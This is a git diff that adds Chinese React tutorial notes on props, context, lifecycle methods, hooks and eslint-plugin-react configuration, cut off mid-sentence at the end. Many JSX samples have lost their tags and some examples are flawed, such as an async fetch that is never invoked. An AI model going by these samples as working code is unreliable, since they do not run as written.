    + ) +} +export default App +``` + +## 阶段小练习 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx-demo.png) + +练习说明 + + 1. 拉取项目模板到本地,安装依赖,run起来项目 + + https://gitee.com/react-course-series/react-component-demo + +2. 完成tab点击切换激活状态交互 + +3. 完成发表评论功能 + + 注意:生成独立无二的id 可以使用 uuid 包 `yarn add uuid` + + ```js + import {v4 as uuid} from 'uuid' + uuid() // 得到一个独一无二的id + ``` + +4. 完成删除评论功能 + +# React组件通信 + +## 组件通信的意义 + +`目标任务:` 了解为什么需要组件通信 + +组件是独立且封闭的单元,默认情况下组件**只能使用自己的数据(state)** + +组件化开发的过程中,完整的功能会拆分多个组件,在这个过程中不可避免的需要互相传递一些数据 + +为了能让各组件之间可以进行互相沟通,数据传递,这个过程就是组件通信 + +1. 父子关系 - **最重要的** +2. 兄弟关系 - 自定义事件模式产生技术方法 eventBus / 通过共同的父组件通信 +3. 其它关系 - **mobx / redux / 基于hook的方案** + +## 父传子实现 + +`目标任务:` 实现父子通信中的父传子,把父组件中的数据传给子组件 + +**实现步骤** + +1. 父组件提供要传递的数据 - `state` + +2. 给子组件标签`添加属性`值为 state中的数据 + +3. 子组件中通过 `props` 接收父组件中传过来的数据 + + 1. 类组件使用this.props获取props对象 + 2. 函数式组件直接通过参数获取props对象 + + + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-1.png) + + + +**代码实现** + +```jsx +import React from 'react' + +// 函数式子组件 +function FSon(props) { + console.log(props) + return ( +
    + 子组件1 + {props.msg} +
    + ) +} + +// 类子组件 +class CSon extends React.Component { + render() { + return ( +
    + 子组件2 + {this.props.msg} +
    + ) + } +} +// 父组件 +class App extends React.Component { + state = { + message: 'this is message' + } + render() { + return ( +
    +
    父组件
    + + +
    + ) + } +} + +export default App +``` + +## props说明 + +`目标任务:` 知道props传递时的一些注意事项 + +**1. props是只读对象(readonly)** + +根据单项数据流的要求,子组件只能读取props中的数据,不能进行修改 + +**2. props可以传递任意数据** + +数字、字符串、布尔值、数组、对象、`函数、JSX` + +```jsx +class App extends React.Component { + state = { + message: 'this is message' + } + render() { + return ( +
    +
    父组件
    + { console.log(1) }} + child={this is child} + /> + +
    + ) + } +} +``` + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-2.png) + + + +## 子传父实现 + +`目标任务:` 实现父子通信中的子传父 + +**口诀:** 父组件给子组件传递回调函数,子组件调用 + +**实现步骤** + +1. 父组件提供一个回调函数 - 用于接收数据 +2. 将函数作为属性的值,传给子组件 +3. 子组件通过props调用 回调函数 +4. 将子组件中的数据作为参数传递给回调函数 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-4.png) + +**代码实现** + +```jsx +import React from 'react' + +// 子组件 +function Son(props) { + function handleClick() { + // 调用父组件传递过来的回调函数 并注入参数 + props.changeMsg('this is newMessage') + } + return ( +
    + {props.msg} + +
    + ) +} + + +class App extends React.Component { + state = { + message: 'this is message' + } + // 提供回调函数 + changeMessage = (newMsg) => { + console.log('子组件传过来的数据:',newMsg) + this.setState({ + message: newMsg + }) + } + render() { + return ( +
    +
    父组件
    + +
    + ) + } +} + +export default App +``` + +## 兄弟组件通信 + +`目标任务:` 实现兄弟组件之间的通信 + +**核心思路:** 通过状态提升机制,利用共同的父组件实现兄弟通信 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-5.png) + +**实现步骤** + +1. 将共享状态提升到最近的公共父组件中,由公共父组件管理这个状态 + + - 提供共享状态 + + - 提供操作共享状态的方法 + +2. 要接收数据状态的子组件通过 props 接收数据 +3. 要传递数据状态的子组件通过props接收方法,调用方法传递数据 + + + +**代码实现** + +```jsx +import React from 'react' + +// 子组件A +function SonA(props) { + return ( +
    + SonA + {props.msg} +
    + ) +} +// 子组件B +function SonB(props) { + return ( +
    + SonB + +
    + ) +} + +// 父组件 +class App extends React.Component { + // 父组件提供状态数据 + state = { + message: 'this is message' + } + // 父组件提供修改数据的方法 + changeMsg = (newMsg) => { + this.setState({ + message: newMsg + }) + } + + render() { + return ( + <> + {/* 接收数据的组件 */} + + {/* 修改数据的组件 */} + + + ) + } +} + +export default App +``` + +## 跨组件通信Context + +`目标任务:` 了解Context机制解决的问题和使用步骤 + +**问题场景** + + + +> 上图是一个react形成的嵌套组件树,如果我们想从App组件向任意一个下层组件传递数据,该怎么办呢?目前我们能采取的方式就是一层一层的props往下传,显然很繁琐 +> +> 那么,Context 提供了一个**无需为每层组件手动添加 props,就能在组件树间进行数据传递的方法** + + + +**实现步骤** + +1. 创建Context对象 导出 Provider 和 Consumer对象 + + ```js + const { Provider, Consumer } = createContext() + ``` + +2. 使用Provider包裹根组件提供数据 + + ```jsx + + {/* 根组件 */} + + ``` + +3. 需要用到数据的组件使用Consumer包裹获取数据 + + ```jsx + + {value => /* 基于 context 值进行渲染*/} + + ``` + + + +**代码实现** + +```jsx +import React, { createContext } from 'react' + +// 1. 创建Context对象 +const { Provider, Consumer } = createContext() + + +// 3. 消费数据 +function ComC() { + return ( + + {value =>
    {value}
    } +
    + ) +} + +function ComA() { + return ( + + ) +} + +// 2. 提供数据 +class App extends React.Component { + state = { + message: 'this is message' + } + render() { + return ( + +
    + +
    +
    + ) + } +} + +export default App +``` + + + + + +## 阶段小练习 + +> 要求:App为父组件用来提供列表数据 ,ListItem为子组件用来渲染列表数据 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-3.png) + +```js +// 列表数据 +[ + { id: 1, name: '超级好吃的棒棒糖', price: 18.8, info: '开业大酬宾,全场8折' }, + { id: 2, name: '超级好吃的大鸡腿', price: 34.2, info: '开业大酬宾,全场8折' }, + { id: 3, name: '超级无敌的冰激凌', price: 14.2, info: '开业大酬宾,全场8折' } +] +``` + +完整代码 + +```jsx +import React from 'react' + +// 子组件 +function ListItem(props) { + const { name, price, info, id, delHandler } = props + return ( +
    +

    {name}

    +

    {price}

    +

    {info}

    + +
    + ) +} + +// 父组件 +class App extends React.Component { + state = { + list: [ + { id: 1, name: '超级好吃的棒棒糖', price: 18.8, info: '开业大酬宾,全场8折' }, + { id: 2, name: '超级好吃的大鸡腿', price: 34.2, info: '开业大酬宾,全场8折' }, + { id: 3, name: '超级无敌的冰激凌', price: 14.2, info: '开业大酬宾,全场8折' } + ] + } + + delHandler = (id) => { + this.setState({ + list: this.state.list.filter(item => item.id !== id) + }) + } + + render() { + return ( + <> + { + this.state.list.map(item => + + ) + } + + ) + } +} + +export default App +``` + + + +# React组件进阶 + +## children属性 + +`目标任务:` 掌握props中children属性的用法 + +**children属性是什么** + +表示该组件的子节点,只要组件内部有子节点,props中就有该属性 + +**children可以是什么** + +1. 普通文本 +2. 普通标签元素 +3. 函数 +4. JSX + +## props校验-场景和使用 + +`目标任务:` 掌握组件props的校验写法,增加组件的健壮性 + +> 对于组件来说,props是由外部传入的,我们其实无法保证组件使用者传入了什么格式的数据,如果传入的数据格式不对,就有可能会导致组件内部错误,有一个点很关键 - **组件的使用者可能报错了也不知道为什么**,看下面的例子 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/props-rule.png) + +面对这样的问题,如何解决? **props校验** + +**实现步骤** + +1. 安装属性校验包:`yarn add prop-types` +2. 导入`prop-types` 包 +3. 使用 `组件名.propTypes = {}` 给组件添加校验规则 + +**核心代码** + +```jsx +import PropTypes from 'prop-types' + +const List = props => { + const arr = props.colors + const lis = arr.map((item, index) =>
  • {item.name}
  • ) + return
      {lis}
    +} + +List.propTypes = { + colors: PropTypes.array +} +``` + +## props校验-规则说明 + +`目标任务:` 掌握props常见的规则 + +**四种常见结构** + +1. 常见类型:array、bool、func、number、object、string +2. React元素类型:element +3. 必填项:isRequired +4. 特定的结构对象:shape({}) + +**核心代码** + +```js +// 常见类型 +optionalFunc: PropTypes.func, +// 必填 只需要在类型后面串联一个isRequired +requiredFunc: PropTypes.func.isRequired, +// 特定结构的对象 +optionalObjectWithShape: PropTypes.shape({ + color: PropTypes.string, + fontSize: PropTypes.number +}) +``` + +官网文档更多阅读:https://reactjs.org/docs/typechecking-with-proptypes.html + + + +## props校验-默认值 + +`目标任务:` 掌握如何给组件的props提供默认值 + +> 通过 `defaultProps` 可以给组件的props设置默认值,在未传入props的时候生效 + +### 1. 函数组件 + +直接使用函数参数默认值 + +```jsx +function List({pageSize = 10}) { + return ( +
    + 此处展示props的默认值:{ pageSize } +
    + ) +} + +// 不传入pageSize属性 + +``` + +### 2. 类组件 + +使用类静态属性声明默认值,`static defaultProps = {}` + +```jsx +class List extends Component { + static defaultProps = { + pageSize: 10 + } + + render() { + return ( +
    + 此处展示props的默认值:{this.props.pageSize} +
    + ) + } +} + +``` + +## 生命周期 - 概述 + +`目标任务:` 能够说出组件生命周期一共几个阶段 + +> 组件的生命周期是指组件从被创建到挂载到页面中运行起来,再到组件不用时卸载的过程,注意,只有类组件才有生命周期(类组件 实例化 函数组件 不需要实例化) + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life.png) + + + + + +## 生命周期 - 挂载阶段 + +`目标任务:` 能够说出在组件挂载阶段执行的钩子函数和执行时机 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life1.png) + +| 钩子 函数 | 触发时机 | 作用 | +| ----------------- | --------------------------------------------------- | ------------------------------------------------------------ | +| constructor | 创建组件时,最先执行,初始化的时候只执行一次 | 1. 初始化state 2. 创建 Ref 3. 使用 bind 解决 this 指向问题等 | +| render | 每次组件渲染都会触发 | 渲染UI(**注意: 不能在里面调用setState()** ) | +| componentDidMount | 组件挂载(完成DOM渲染)后执行,初始化的时候执行一次 | 1. 发送网络请求 2.DOM操作 | + +## 生命周期 - 更新阶段 + +`目标任务:` 能够说出组件的更新阶段的钩子函数以及执行时机 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/life2.png) + +| 钩子函数 | 触发时机 | 作用 | +| ------------------ | ------------------------- | ------------------------------------------------------------ | +| render | 每次组件渲染都会触发 | 渲染UI(与 挂载阶段 是同一个render) | +| componentDidUpdate | 组件更新后(DOM渲染完毕) | DOM操作,可以获取到更新后的DOM内容,**不要直接调用setState** | + +## 生命周期 - 卸载阶段 + +`目标任务:` 能够说出组件的销毁阶段的钩子函数以及执行时机 + +| 钩子函数 | 触发时机 | 作用 | +| -------------------- | ------------------------ | ---------------------------------- | +| componentWillUnmount | 组件卸载(从页面中消失) | 执行清理工作(比如:清理定时器等) | + +## 阶段小练习 - todoMVC + +案例仓库地址:https://gitee.com/react-course-series/react-todo-mvc + +**项目演示步骤:** + +1. 克隆项目到本地 + + ```bash + git clone https://gitee.com/react-course-series/react-todo-mvc.git + ``` + +2. 安装必要依赖 + + ```bash + yarn + ``` + +3. 开启mock接口服务,**保持窗口不关闭** !!!!! + + ```bash + # 启动mock服务 + yarn mock-serve + ``` + +4. **另起一个bash窗口**开启前端服务 + + ```bash + yarn start + ``` + +5. 浏览器输入 localhost:3000演示效果 + +**项目开发步骤:** + +1. 切换到todo-test分支 + + ```bash + git checkout todo-test + ``` + +2. 打开 app.js + + 已有基础样板代码,在这个基础上编写业务逻辑即可 + +3. 接口文档 + + | 接口作用 | 接口地址 | 接口方法 | 接口参数 | + | -------- | ------------------------------------- | -------- | ---------------------- | + | 获取列表 | http://localhost:3001/data | GET | 无 | + | 删除 | http://localhost:3001/data/:id | DELETE | id | + | 搜索 | http://localhost:3001/data/?q=keyword | GET | name(以name字段搜索) | + +**实现功能** + +| 功能 | 核心思路 | +| ------------ | ------------------------------------ | +| 表格数据渲染 | elementPlus el-table组件使用 | +| 删除功能 | 获取当前id 调用接口 | +| 搜索功能 | 用的依旧是列表接口,多传一个name参数 | +| 清除搜索功能 | 清空搜索参数 重新获取列表 | + +# Hooks基础 + +## Hooks概念理解 + +`本节任务:` 能够理解hooks的概念及解决的问题 + +### 1. 什么是hooks + +> Hooks的本质:**一套能够使函数组件更强大,更灵活的“钩子”** + +React体系里组件分为 类组件 和 函数组件 + +经过多年的实战,函数组件是一个更加匹配React的设计理念 `UI = f(data)`,也更有利于逻辑拆分与重用的组件表达形式,而先前的函数组件是不可以有自己的状态的,为了能让函数组件可以拥有自己的状态,所以从react v16.8开始,Hooks应运而生 + +**注意点:** + +1. 有了hooks之后,为了兼容老版本,class类组件并没有被移除,俩者都可以使用 +2. 有了hooks之后,不能在把函数成为无状态组件了,因为hooks为函数组件提供了状态 +3. hooks只能在函数组件中使用 + +### 2. Hooks解决了什么问题 + +Hooks的出现解决了俩个问题 1. 组件的状态逻辑复用 2.class组件自身的问题 + +1. 组件的逻辑复用 + + 在hooks出现之前,react先后尝试了 mixins混入,HOC高阶组件,render-props等模式 + + 但是都有各自的问题,比如mixin的数据来源不清晰,高阶组件的嵌套问题等等 + +2. class组件自身的问题 + + class组件就像一个厚重的‘战舰’ 一样,大而全,提供了很多东西,有不可忽视的学习成本,比如各种生命周期,this指向问题等等,而我们更多时候需要的是一个轻快灵活的'快艇' + +## useState + +### 1. 基础使用 + +`本节任务:` 能够学会useState的基础用法 + +**作用** + +​ useState为函数组件提供状态(state) + +**使用步骤** + +1. 导入 `useState` 函数 +2. 调用 `useState` 函数,并传入状态的初始值 +3. 从`useState`函数的返回值中,拿到状态和修改状态的方法 +4. 在JSX中展示状态 +5. 调用修改状态的方法更新状态 + +**代码实现** + +```jsx +import { useState } from 'react' + +function App() { + // 参数:状态初始值比如,传入 0 表示该状态的初始值为 0 + // 返回值:数组,包含两个值:1 状态值(state) 2 修改该状态的函数(setState) + const [count, setCount] = useState(0) + return ( + + ) +} +export default App +``` + +### 2. 状态的读取和修改 + +`本节任务:` 能够理解useState下状态的读取和修改 + +**读取状态** + +​ 该方式提供的状态,是函数内部的局部变量,可以在函数内的任意位置使用 + +**修改状态** + +1. setCount是一个函数,参数表示`最新的状态值` +2. 调用该函数后,将使用新值替换旧值 +3. 修改状态后,由于状态发生变化,会引起视图变化 + +**注意事项** + +​ 修改状态的时候,一定要使用新的状态替换旧的状态,不能直接修改旧的状态,尤其是引用类型 + +### 3. 组件的更新过程 + +`本节任务:` 能够理解使用hook之后组件的更新情况 + +函数组件使用 **useState** hook 后的执行过程,以及状态值的变化 + +- 组件第一次渲染 + 1. 从头开始执行该组件中的代码逻辑 + 2. 调用 `useState(0)` 将传入的参数作为状态初始值,即:0 + 3. 渲染组件,此时,获取到的状态 count 值为: 0 + +- 组件第二次渲染 + 1. 点击按钮,调用 `setCount(count + 1)` 修改状态,因为状态发生改变,所以,该组件会重新渲染 + 2. 组件重新渲染时,会再次执行该组件中的代码逻辑 + 3. 再次调用 `useState(0)`,此时 **React 内部会拿到最新的状态值而非初始值**,比如,该案例中最新的状态值为 1 + 4. 再次渲染组件,此时,获取到的状态 count 值为:1 + +注意:**useState 的初始值(参数)只会在组件第一次渲染时生效**。也就是说,以后的每次渲染,useState 获取到都是最新的状态值,React 组件会记住每次最新的状态值 + +```jsx +import { useState } from 'react' + +function App() { + const [count, setCount] = useState(0) + // 在这里可以进行打印测试 + console.log(count) + return ( + + ) +} +export default App +``` + + + +### 4. 使用规则 + +`本节任务:` 能够记住useState的使用规则 + +1. `useState` 函数可以执行多次,每次执行互相独立,每调用一次为函数组件提供一个状态 + + ```js + function List(){ + // 以字符串为初始值 + const [name, setName] = useState('cp') + // 以数组为初始值 + const [list,setList] = useState([]) + } + ``` + +2. `useState` 注意事项 + + 1. 只能出现在函数组件中 + + 2. 不能嵌套在if/for/其它函数中(react按照hooks的调用顺序识别每一个hook) + + ```js + let num = 1 + function List(){ + num++ + if(num / 2 === 0){ + const [name, setName] = useState('cp') + } + const [list,setList] = useState([]) + } + // 俩个hook的顺序不是固定的,这是不可以的!!! + ``` + + 3. 可以通过开发者工具查看hooks状态 + +## useEffect + +### 1. 理解函数副作用 + +`本节任务:` 能够理解副作用的概念 + +**什么是副作用** + +​ 副作用是相对于主作用来说的,一个函数除了主作用,其他的作用就是副作用。对于 React 组件来说,**主作用就是根据数据(state/props)渲染 UI**,除此之外都是副作用(比如,手动修改 DOM) + +**常见的副作用** + +1. 数据请求 ajax发送 +2. 手动修改dom +3. localstorage操作 + +useEffect函数的作用就是为react函数组件提供副作用处理的! + +### 2. 基础使用 + +`本节任务:` 能够学会useEffect的基础用法并且掌握默认的执行执行时机 + +**作用** + +​ 为react函数组件提供副作用处理 + +**使用步骤** + +1. 导入 `useEffect` 函数 +2. 调用 `useEffect` 函数,并传入回调函数 +3. 在回调函数中编写副作用处理(dom操作) +4. 修改数据状态 +5. 检测副作用是否生效 + +**代码实现** + +```jsx +import { useEffect, useState } from 'react' + +function App() { + const [count, setCount] = useState(0) + + useEffect(()=>{ + // dom操作 + document.title = `当前已点击了${count}次` + }) + return ( + + ) +} + +export default App + +``` + + + +### 3. 依赖项控制执行时机 + +`本节任务:` 能够学会使用依赖项控制副作用的执行时机 + +**1. 不添加依赖项** + +> 组件首次渲染执行一次,以及不管是哪个状态更改引起组件更新时都会重新执行 +> +> 1. 组件初始渲染 +> 2. 组件更新 (不管是哪个状态引起的更新) + +```jsx +useEffect(()=>{ + console.log('副作用执行了') +}) +``` + + + +**2. 添加空数组** + +> 组件只在首次渲染时执行一次 + +```jsx +useEffect(()=>{ + console.log('副作用执行了') +},[]) +``` + + + +**3. 添加特定依赖项** + +> 副作用函数在首次渲染时执行,在依赖项发生变化时重新执行 + +```jsx +function App() { + const [count, setCount] = useState(0) + const [name, setName] = useState('zs') + + useEffect(() => { + console.log('副作用执行了') + }, [count]) + + return ( + <> + + + + ) +} +``` + +**注意事项** + +useEffect 回调函数中用到的数据(比如,count)就是依赖数据,就应该出现在依赖项数组中,如果不添加依赖项就会有bug出现 + +## 阶段小练习 - 自定义hook + +**需求描述**:自定义一个hook函数,实现获取滚动距离Y + +> `const [y] = useWindowScroll()` + +```js +import { useState } from "react" + +export function useWindowScroll () { + const [y, setY] = useState(0) + window.addEventListener('scroll', () => { + const h = document.documentElement.scrollTop + setY(h) + }) + return [y] +} +``` + +**需求描述:** 自定义hook函数,可以自动同步到本地LocalStorage + +> `const [message, setMessage] = useLocalStorage(key,defaultValue)` +> +> 1. message可以通过自定义传入默认初始值 +> 2. 每次修改message数据的时候 都会自动往本地同步一份 + +```js +import { useEffect, useState } from 'react' + +export function useLocalStorage (key, defaultValue) { + const [message, setMessage] = useState(defaultValue) + // 每次只要message变化 就会自动同步到本地ls + useEffect(() => { + window.localStorage.setItem(key, message) + }, [message, key]) + return [message, setMessage] +} +``` + + + +# Hooks进阶 + +## useState - 回调函数的参数 + +`本节任务:` 能够理解useState回调函数作为参数的使用场景 + +**使用场景** + +参数只会在组件的初始渲染中起作用,后续渲染时会被忽略。如果初始 state 需要通过计算才能获得,则可以传入一个函数,在函数中计算并返回初始的 state,此函数只在初始渲染时被调用 + +**语法** + +```jsx +const [name, setName] = useState(()=>{ // 编写计算逻辑 return '计算之后的初始值'}) +``` + +**语法规则** + +1. 回调函数return出去的值将作为 `name` 的初始值 +2. 回调函数中的逻辑只会在组件初始化的时候执行一次 + +**语法选择** + +1. 如果就是初始化一个普通的数据 直接使用 `useState(普通数据)` 即可 +2. 如果要初始化的数据无法直接得到需要通过计算才能获取到,使用`useState(()=>{})` + +**来个需求** + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/state01.png) + +```jsx +import { useState } from 'react' + +function Counter(props) { + const [count, setCount] = useState(() => { + return props.count + }) + return ( +
    + +
    + ) +} + +function App() { + return ( + <> + + + + ) +} + +export default App +``` + + + +## useEffect - 清理副作用 + +`本节任务:` 能够掌握清理useEffect的方法 + +**使用场景** + +在组件被销毁时,如果有些副作用操作需要被清理,就可以使用此语法,比如常见的定时器 + +**语法及规则** + +```js +useEffect(() => { + console.log('副作用函数执行了') + // 副作用函数的执行时机为: 在下一次副作用函数执行之前执行 + return () => { + console.log('清理副作用的函数执行了') + // 在这里写清理副作用的代码 + } +}) +``` + +**定时器小案例** + +> 添加副作用函数前:组件虽然已经不显示了,但是定时器依旧在运行 + +```jsx +import { useEffect, useState } from 'react' +function Foo() { + useEffect(() => { + setInterval(() => { + console.log('副作用函数执行了') + }, 1000) + }) + return
    Foo
    +} + + +function App() { + const [flag, setFlag] = useState(true) + return ( + <> + + {flag ? : null} + + ) +} + +export default App +``` + +> 添加清理副作用函数后:一旦组件被销毁,定时器也被清理 + +```jsx +import { useEffect, useState } from 'react' + +function Foo() { + useEffect(() => { + const timerId = setInterval(() => { + console.log('副作用函数执行了') + }, 1000) + // 添加清理副租用函数 + return () => { + clearInterval(timerId) + } + }) + return
    Foo
    +} +function App() { + const [flag, setFlag] = useState(true) + return ( + <> + + {flag ? : null} + + ) +} + +export default App +``` + +## useEffect - 发送网络请求 + +`本节任务:` 能够掌握使用useEffect hook发送网络请求 + +**使用场景** + +如何在useEffect中发送网络请求,并且封装同步 async await操作 + +**语法要求** + +不可以直接在useEffect的回调函数外层直接包裹 await ,因为**异步会导致清理函数无法立即返回** + +```js +useEffect(async ()=>{ + const res = await axios.get('http://geek.itheima.net/v1_0/channels') + console.log(res) +},[]) +``` + +**正确写法** + +在内部单独定义一个函数,然后把这个函数包装成同步 + +```jsx +useEffect(()=>{ + async function fetchData(){ + const res = await axios.get('http://geek.itheima.net/v1_0/channels') console.log(res) + } +},[]) +``` + +## useRef + +`本节任务:` 能够掌握使用useRef获取真实dom或组件实例的方法 + +**使用场景** + +在函数组件中获取真实的dom元素对象或者是组件对象 + +**使用步骤** + +1. 导入 `useRef` 函数 +2. 执行 `useRef` 函数并传入null,返回值为一个对象 内部有一个current属性存放拿到的dom对象(组件实例) +3. 通过ref 绑定 要获取的元素或者组件 + +**获取dom** + +```jsx +import { useEffect, useRef } from 'react' +function App() { + const h1Ref = useRef(null) + useEffect(() => { + console.log(h1Ref) + },[]) + return ( +
    +

    this is h1

    +
    + ) +} +export default App +``` + +**获取组件实例** + +> **函数组件由于没有实例,不能使用ref获取,如果想获取组件实例,必须是类组件** + +`Foo.js` + +```jsx +class Foo extends React.Component { + sayHi = () => { + console.log('say hi') + } + render(){ + return
    Foo
    + } +} + +export default Foo +``` + +`App.js` + +```jsx +import { useEffect, useRef } from 'react' +import Foo from './Foo' +function App() { + const h1Foo = useRef(null) + useEffect(() => { + console.log(h1Foo) + }, []) + return ( +
    + ) +} +export default App +``` + +## useContext + +`本节任务:` 能够掌握hooks下的context使用方式 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/context.png) + +**实现步骤** + +1. 使用`createContext` 创建Context对象 +2. 在顶层组件通过`Provider` 提供数据 +3. 在底层组件通过`useContext`函数获取数据 + +**代码实现** + +```jsx +import { createContext, useContext } from 'react' +// 创建Context对象 +const Context = createContext() + +function Foo() { + return
    Foo
    +} + +function Bar() { + // 底层组件通过useContext函数获取数据 + const name = useContext(Context) + return
    Bar {name}
    +} + +function App() { + return ( + // 顶层组件通过Provider 提供数据 + +
    +
    + ) +} + +export default App +``` + diff --git "a/src/React/eslint-plugin-react \351\205\215\347\275\256.md" "b/src/React/eslint-plugin-react \351\205\215\347\275\256.md" new file mode 100644 index 00000000..076df043 --- /dev/null +++ "b/src/React/eslint-plugin-react \351\205\215\347\275\256.md" @@ -0,0 +1,222 @@ +## 安装 + +```bash +npm install eslint eslint-plugin-react --save-dev +``` + +也可以全局而不是本地安装 ESLint(使用`npm install -g eslint`)。但是,不建议这样做,无论哪种情况,你使用的任何插件或可共享配置都必须安装在本地。 + +## 配置 `.eslintrc` + +1. `.eslintrc.js` 或者`.eslintrc.json`,添加预设默认值: + +```json + "extends": [ + "eslint:recommended", + "plugin:react/recommended" // 当前插件的 + ] +``` + +如果在使用[来自 React 17 的新 JSX 转换](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html#removing-unused-react-imports),请使用[`react/jsx-runtime`](https://github.com/jsx-eslint/eslint-plugin-react/blob/c8917b0885094b5e4cc2a6f613f7fb6f16fe932e/index.js#L163-L176)扩展 eslint 配置(添加`"plugin:react/jsx-runtime"`到`"extends"`)以禁用相关规则。 + +```json + "extends": [ + "eslint:recommended", + "plugin:react/recommended" // 当前插件的 + "plugin:react/jsx-runtime" // 补充配置 + ] +``` + +2. 将“React”添加到插件部分 + +```json +{ + "plugins": [ + "react" + ] +} +``` + +3. 启用 JSX 支持。(eslint 2以上版本) + +```json +{ + "parserOptions": { + "ecmaFeatures": { + "jsx": true + } + } +} +``` + +4. 开启某些额外想要使用的规则 + +```json + "rules": { + "react/jsx-uses-react": "error", + "react/jsx-uses-vars": "error", + } +``` + +### 可共享配置 + +这个插件导出了一个`recommended`强制执行 React 良好实践的配置。 + +要启用此配置,请使用配置文件`extends`中的属性`.eslintrc`: + +``` +{ + "extends": ["eslint:recommended", "plugin:react/recommended"] +} +``` + +有关扩展配置文件的更多信息,请参阅[`eslint`文档。](https://eslint.org/docs/user-guide/configuring/configuration-files#extending-configuration-files) + +#### 全部 + +此插件还导出`all`包含每个可用规则的配置。这与规则很相配`eslint:all`。 + +``` +{ + "plugins": [ + "react" + ], + "extends": ["eslint:all", "plugin:react/all"] +} +``` + +**注意**:这些配置将在[解析器选项](https://eslint.org/docs/user-guide/configuring/language-options#specifying-parser-options)`eslint-plugin-react`中导入和启用 JSX 。 + +## 新配置 `eslint.config.js` + +从[`v8.21.0`](https://github.com/eslint/eslint/releases/tag/v8.21.0),eslint 宣布了一个新的配置系统。在新系统中,`.eslintrc*`不再使用。`eslint.config.js`将是默认的配置文件名。在 eslint 中`v8`,遗留系统 ( `.eslintrc*`) 仍将受支持,而在 eslint 中`v9`,仅支持新系统。 + +然后[`v8.23.0`](https://github.com/eslint/eslint/releases/tag/v8.23.0),eslint CLI 开始查找`eslint.config.js`。 **因此,如果你的 eslint 是`>=8.23.0`,那么你得 100% 准备好使用新的配置系统。** + +官方博客文章, + +- https://eslint.org/blog/2022/08/new-config-system-part-1/ +- https://eslint.org/blog/2022/08/new-config-system-part-2/ +- https://eslint.org/blog/2022/08/new-config-system-part-3/ + +和[官方文档](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new)。 + +### 插件 + +默认导出的`eslint-plugin-react`是一个插件对象。 + +```js +const react = require('eslint-plugin-react'); +const globals = require('globals'); + +module.exports = [ + … + { + files: ['**/*.{js,jsx,mjs,cjs,ts,tsx}'], + plugins: { + react, + }, + languageOptions: { + parserOptions: { + ecmaFeatures: { + jsx: true, + }, + }, + globals: { + ...globals.browser, + }, + }, + rules: { + // ... any rules you want + 'react/jsx-uses-react': 'error', + 'react/jsx-uses-vars': 'error', + }, + // ... others are omitted for brevity + }, + … +]; +``` + +### 配置共享设置 + +参考[官方文档](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new#configuring-shared-settings)。 + +对象的架构`settings.react`将与上面遗留配置部分中已经描述的架构相同。 + +### 可共享的配置 + +还有 3 个可共享的配置。 + +- `eslint-plugin-react/configs/all` +- `eslint-plugin-react/configs/recommended` +- `eslint-plugin-react/configs/jsx-runtime` + +如果你的`eslint.config.js` 是 ESM,请包含`.js`扩展名,但是下个主要版本可以忽略。 + +在新的配置系统中,`plugin:`协议(例如`plugin:react/recommended`)不再有效。由于 eslint 不会自动导入预设配置(可共享配置),您需要自己明确地导入。 + +```js +const reactRecommended = require('eslint-plugin-react/configs/recommended'); + +module.exports = [ + … + reactRecommended, // This is not a plugin object, but a shareable config object + … +]; +``` + +**注意**:我们的可共享配置不会预先配置`files`或[`languageOptions.globals`](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new#configuration-objects). 对于大多数情况,你可能希望自己配置一些属性。 + +```js +const reactRecommended = require('eslint-plugin-react/configs/recommended'); +const globals = require('globals'); + +module.exports = [ + … + { + files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], + ...reactRecommended, + languageOptions: { + ...reactRecommended.languageOptions, + globals: { + ...globals.serviceworker, + ...globals.browser, + }, + }, + }, + … +]; +``` + +上面的例子和下面的例子一样,因为新的配置系统是基于link的。 + +```js +const reactRecommended = require('eslint-plugin-react/configs/recommended'); +const globals = require('globals'); + +module.exports = [ + … + { + files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], + ...reactRecommended, + }, + { + files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], + languageOptions: { + globals: { + ...globals.serviceworker, + ...globals.browser, + }, + }, + }, + … +]; +``` + +## 支持规则列表 + +[jsx-eslint/eslint-plugin-react:ESLint 的特定于 React 的 linting 规则](https://github.com/jsx-eslint/eslint-plugin-react#list-of-supported-rules) + +## 参考文档 + +- [jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint](https://github.com/jsx-eslint/eslint-plugin-react) diff --git "a/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" "b/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" new file mode 100644 index 00000000..16ab2d7e --- /dev/null +++ "b/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" @@ -0,0 +1,60 @@ +--- +date: 2022-08-16 +category: +- React +--- +# useReducer:类Redux的useState替代方案 + +```tsx +const [state, dispatch] = useReducer(reducer, initialArg, init); +``` + +[`useState`](https://zh-hans.reactjs.org/docs/hooks-reference.html#usestate) 的替代方案(更复杂的方案)。它接收一个形如 `(state, action) => newState` 的 reducer,并返回当前的 state 以及与其配套的 `dispatch` 方法。(如果你熟悉 Redux 的话,就已经知道它如何工作了。) + +在某些场景下,`useReducer` 会比 `useState` 更适用,例如 state 逻辑较复杂且包含多个子值,或者下一个 state 依赖于之前的 state 等。并且,使用 `useReducer` 还能给那些会触发深更新的组件做性能优化,因为[你可以向子组件传递 